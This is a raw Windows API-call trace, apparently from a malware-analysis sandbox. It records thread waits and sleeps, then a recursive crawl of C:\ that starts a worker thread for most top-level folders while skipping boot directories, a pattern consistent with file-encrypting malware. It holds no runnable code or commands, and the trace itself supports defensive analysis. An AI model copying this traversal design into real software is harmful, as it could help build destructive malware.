	[0073.728] WaitForSingleObject (hHandle=0x4c8, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4cc, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4d0, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4d4, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4d8, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4dc, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4e0, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4e4, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4e8, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4ec, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4f0, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4f4, dwMilliseconds=0x0) returned 0x102
	[0073.728] WaitForSingleObject (hHandle=0x4f8, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x4fc, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x500, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x504, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x508, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x50c, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x510, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x514, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x518, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x51c, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x520, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x524, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x528, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x534, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x538, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x53c, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x540, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x544, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x548, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x54c, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x550, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x554, dwMilliseconds=0x0) returned 0x102
	[0073.729] WaitForSingleObject (hHandle=0x558, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x55c, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x560, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x564, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x568, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x56c, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x570, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x574, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x578, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x57c, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x580, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x584, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x588, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x58c, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x590, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x594, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x598, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x59c, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5a0, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5a4, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5a8, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5ac, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5b0, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5b4, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5b8, dwMilliseconds=0x0) returned 0x102
	[0073.730] WaitForSingleObject (hHandle=0x5bc, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5c0, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5c4, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5c8, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5cc, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5d4, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5d8, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5dc, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5e0, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5e4, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5e8, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5ec, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5f0, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5f4, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5f8, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x5fc, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x600, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x604, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x608, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x60c, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x610, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x614, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x618, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x61c, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x620, dwMilliseconds=0x0) returned 0x102
	[0073.731] WaitForSingleObject (hHandle=0x624, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x628, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x62c, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x630, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x634, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x638, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x63c, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x640, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x644, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x648, dwMilliseconds=0x0) returned 0x102
	[0073.732] WaitForSingleObject (hHandle=0x64c, dwMilliseconds=0x0) returned 0x102
	[0073.732] Sleep (dwMilliseconds=0x1) 
	[0077.253] Sleep (dwMilliseconds=0x1) 
	[0077.266] Sleep (dwMilliseconds=0x1) 
	[0077.293] Sleep (dwMilliseconds=0x1) 
	[0078.216] Sleep (dwMilliseconds=0x1) 
	[0093.322] Sleep (dwMilliseconds=0x1) 
	[0093.363] Sleep (dwMilliseconds=0x1) 
	[0093.396] Sleep (dwMilliseconds=0x1) 
	[0093.531] Sleep (dwMilliseconds=0x1) 
	[0093.557] Sleep (dwMilliseconds=0x1) 
	[0093.565] Sleep (dwMilliseconds=0x1) 
	[0093.582] Sleep (dwMilliseconds=0x1) 
	[0093.601] Sleep (dwMilliseconds=0x1) 
	[0093.613] Sleep (dwMilliseconds=0x1) 
	[0093.634] Sleep (dwMilliseconds=0x1) 
	[0093.755] Sleep (dwMilliseconds=0x1) 
	[0093.820] Sleep (dwMilliseconds=0x1) 

Thread:
	id = 22
	os_tid = 0xda4

	[0070.260] Sleep (dwMilliseconds=0x1) 
	[0070.349] Sleep (dwMilliseconds=0x1) 
	[0070.529] Sleep (dwMilliseconds=0x1) 
	[0070.668] Sleep (dwMilliseconds=0x1) 
	[0070.858] Sleep (dwMilliseconds=0x1) 
	[0070.977] Sleep (dwMilliseconds=0x1) 
	[0071.131] Sleep (dwMilliseconds=0x1) 
	[0071.303] Sleep (dwMilliseconds=0x1) 
	[0071.534] Sleep (dwMilliseconds=0x1) 
	[0071.711] Sleep (dwMilliseconds=0x1) 
	[0071.853] Sleep (dwMilliseconds=0x1) 
	[0071.954] Sleep (dwMilliseconds=0x1) 
	[0072.066] Sleep (dwMilliseconds=0x1) 
	[0072.177] Sleep (dwMilliseconds=0x1) 
	[0072.400] Sleep (dwMilliseconds=0x1) 
	[0072.532] Sleep (dwMilliseconds=0x1) 
	[0072.673] Sleep (dwMilliseconds=0x1) 
	[0072.767] Sleep (dwMilliseconds=0x1) 
	[0072.880] Sleep (dwMilliseconds=0x1) 
	[0073.004] Sleep (dwMilliseconds=0x1) 
	[0073.140] Sleep (dwMilliseconds=0x1) 
	[0073.722] Sleep (dwMilliseconds=0x1) 
	[0076.759] Sleep (dwMilliseconds=0x1) 
	[0077.359] Sleep (dwMilliseconds=0x1) 
	[0078.273] Sleep (dwMilliseconds=0x1) 
	[0079.959] Sleep (dwMilliseconds=0x1) 
	[0084.523] Sleep (dwMilliseconds=0x1) 
	[0087.049] Sleep (dwMilliseconds=0x1) 
	[0089.418] Sleep (dwMilliseconds=0x1) 
	[0093.835] Sleep (dwMilliseconds=0x1) 

Thread:
	id = 23
	os_tid = 0x3fc

	[0073.007] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc) returned 0x2d846f8
	[0073.008] wcscpy (in: _Dest=0x2d846f8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.008] wcscat (in: _Dest=0x2d846f8, _Source="*" | out: _Dest="C:\\*") returned="C:\\*"
	[0073.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d849e0
	[0073.008] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x2d71080
	[0073.008] wcscmp (_String1="$GetCurrent", _String2=".") returned -1
	[0073.008] wcscmp (_String1="$GetCurrent", _String2="..") returned -1
	[0073.008] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0073.008] wcscpy (in: _Dest=0x2d76f20, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.008] wcscat (in: _Dest=0x2d76f20, _Source="$GetCurrent" | out: _Dest="C:\\$GetCurrent") returned="C:\\$GetCurrent"
	[0073.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d76f20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0073.011] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0073.011] wcscmp (_String1="$Recycle.Bin", _String2=".") returned -1
	[0073.011] wcscmp (_String1="$Recycle.Bin", _String2="..") returned -1
	[0073.011] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x22) returned 0x2d77e10
	[0073.011] wcscpy (in: _Dest=0x2d77e10, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.011] wcscat (in: _Dest=0x2d77e10, _Source="$Recycle.Bin" | out: _Dest="C:\\$Recycle.Bin") returned="C:\\$Recycle.Bin"
	[0073.011] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d77e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0073.012] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0073.012] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2=".") returned -1
	[0073.012] wcscmp (_String1="$WINRE_BACKUP_PARTITION.MARKER", _String2="..") returned -1
	[0073.012] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2d64948
	[0073.012] wcscpy (in: _Dest=0x2d64948, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.012] wcscat (in: _Dest=0x2d64948, _Source="$WINRE_BACKUP_PARTITION.MARKER" | out: _Dest="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned="C:\\$WINRE_BACKUP_PARTITION.MARKER"
	[0073.012] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d64948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0073.013] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0073.013] wcscmp (_String1="588bce7c90097ed212", _String2=".") returned 1
	[0073.013] wcscmp (_String1="588bce7c90097ed212", _String2="..") returned 1
	[0073.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2e) returned 0x2d7bff8
	[0073.013] wcscpy (in: _Dest=0x2d7bff8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.013] wcscat (in: _Dest=0x2d7bff8, _Source="588bce7c90097ed212" | out: _Dest="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0073.013] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d7bff8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0073.013] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0073.013] wcscmp (_String1="Boot", _String2=".") returned 1
	[0073.013] wcscmp (_String1="Boot", _String2="..") returned 1
	[0073.013] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79a40
	[0073.013] wcscpy (in: _Dest=0x2d79a40, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.014] wcscat (in: _Dest=0x2d79a40, _Source="Boot" | out: _Dest="C:\\Boot") returned="C:\\Boot"
	[0073.014] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d79a40) returned 1
	[0073.014] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1
	[0073.014] wcscmp (_String1="bootmgr", _String2=".") returned 1
	[0073.014] wcscmp (_String1="bootmgr", _String2="..") returned 1
	[0073.014] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTNXT", cAlternateFileName="")) returned 1
	[0073.014] wcscmp (_String1="BOOTNXT", _String2=".") returned 1
	[0073.014] wcscmp (_String1="BOOTNXT", _String2="..") returned 1
	[0073.014] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1
	[0073.014] wcscmp (_String1="BOOTSECT.BAK", _String2=".") returned 1
	[0073.014] wcscmp (_String1="BOOTSECT.BAK", _String2="..") returned 1
	[0073.014] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0073.014] wcscmp (_String1="Documents and Settings", _String2=".") returned 1
	[0073.014] wcscmp (_String1="Documents and Settings", _String2="..") returned 1
	[0073.014] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x36) returned 0x2d71000
	[0073.014] wcscpy (in: _Dest=0x2d71000, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.014] wcscat (in: _Dest=0x2d71000, _Source="Documents and Settings" | out: _Dest="C:\\Documents and Settings") returned="C:\\Documents and Settings"
	[0073.014] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d71000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0073.015] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1
	[0073.015] wcscmp (_String1="ESD", _String2=".") returned 1
	[0073.015] wcscmp (_String1="ESD", _String2="..") returned 1
	[0073.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10) returned 0x2d84728
	[0073.015] wcscpy (in: _Dest=0x2d84728, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.015] wcscat (in: _Dest=0x2d84728, _Source="ESD" | out: _Dest="C:\\ESD") returned="C:\\ESD"
	[0073.015] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d84728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0073.015] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x174ff10, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1
	[0073.015] wcscmp (_String1="hiberfil.sys", _String2=".") returned 1
	[0073.015] wcscmp (_String1="hiberfil.sys", _String2="..") returned 1
	[0073.015] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1
	[0073.015] wcscmp (_String1="Logs", _String2=".") returned 1
	[0073.015] wcscmp (_String1="Logs", _String2="..") returned 1
	[0073.015] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x12) returned 0x2d79a40
	[0073.015] wcscpy (in: _Dest=0x2d79a40, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.016] wcscat (in: _Dest=0x2d79a40, _Source="Logs" | out: _Dest="C:\\Logs") returned="C:\\Logs"
	[0073.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d79a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0073.016] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0073.016] wcscmp (_String1="pagefile.sys", _String2=".") returned 1
	[0073.016] wcscmp (_String1="pagefile.sys", _String2="..") returned 1
	[0073.016] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0073.016] wcscmp (_String1="PerfLogs", _String2=".") returned 1
	[0073.017] wcscmp (_String1="PerfLogs", _String2="..") returned 1
	[0073.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1a) returned 0x2d76fe8
	[0073.017] wcscpy (in: _Dest=0x2d76fe8, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.017] wcscat (in: _Dest=0x2d76fe8, _Source="PerfLogs" | out: _Dest="C:\\PerfLogs") returned="C:\\PerfLogs"
	[0073.017] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76fe8) returned 1
	[0073.017] FindNextFileW (in: hFindFile=0x2d71080, lpFindFileData=0x2d849e0 | out: lpFindFileData=0x2d849e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x40f99b1c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x40f99b1c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0073.017] wcscmp (_String1="Program Files", _String2=".") returned 1
	[0073.017] wcscmp (_String1="Program Files", _String2="..") returned 1
	[0073.017] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x24) returned 0x2d77e40
	[0073.017] wcscpy (in: _Dest=0x2d77e40, _Source="C:\\" | out: _Dest="C:\\") returned="C:\\"
	[0073.017] wcscat (in: _Dest=0x2d77e40, _Source="Program Files" | out: _Dest="C:\\Program Files") returned="C:\\Program Files"
